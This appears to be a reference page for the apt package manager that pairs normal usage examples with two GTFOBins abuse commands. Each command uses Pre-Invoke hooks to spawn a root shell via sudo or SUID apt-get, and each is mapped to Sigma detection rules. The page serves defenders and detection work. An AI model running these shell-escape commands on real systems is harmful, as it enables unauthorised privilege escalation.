Identifier / Programs / Linux and Unix
apt
Package manager for Debian-based distributions. Intended as a user-friendly alternative to apt-get for interactive use. For equivalent commands in other package managers, see <https://wiki.archlinux.org/title/Pacman/Rosetta>. tldr-pages
GTFOBins inherit, shell 3 Sigma rules name it 2 ATT&CK techniques 3 documented commands
How apt is abused
inherit
changelog
Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for apt.
3 documented commands
GTFOBins documents apt with the commands of apt-get.
shell with sudo, as SUID
For this to work the target package (i.e., sl) must not be already installed.
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' >/path/to/temp-file
apt-get -y install -c /path/to/temp-file slTrips no Sigma process-creation rule.
shell with sudo, as SUID
When the shell exits the update command is actually executed.
apt-get update -o APT::Update::Pre-Invoke::=/bin/shTrips 1 Sigma rule: mediumShell Invocation via Apt - Linux by Nasreddine Bencherchali (Nextron Systems)
1 of the 3 commands the identifier reads trips a Sigma process-creation rule; 2 trip none. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for apt. The identifier reads the line of each that runs apt-get.
What detects it
Everyday use
Update the list of available packages and versions (recommended before running other apt commands)
sudo apt updateIdentifySearch packages by name or description
apt search packageIdentifySearch packages by name only (supports wildcards like *)
apt list packageIdentifyNone of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.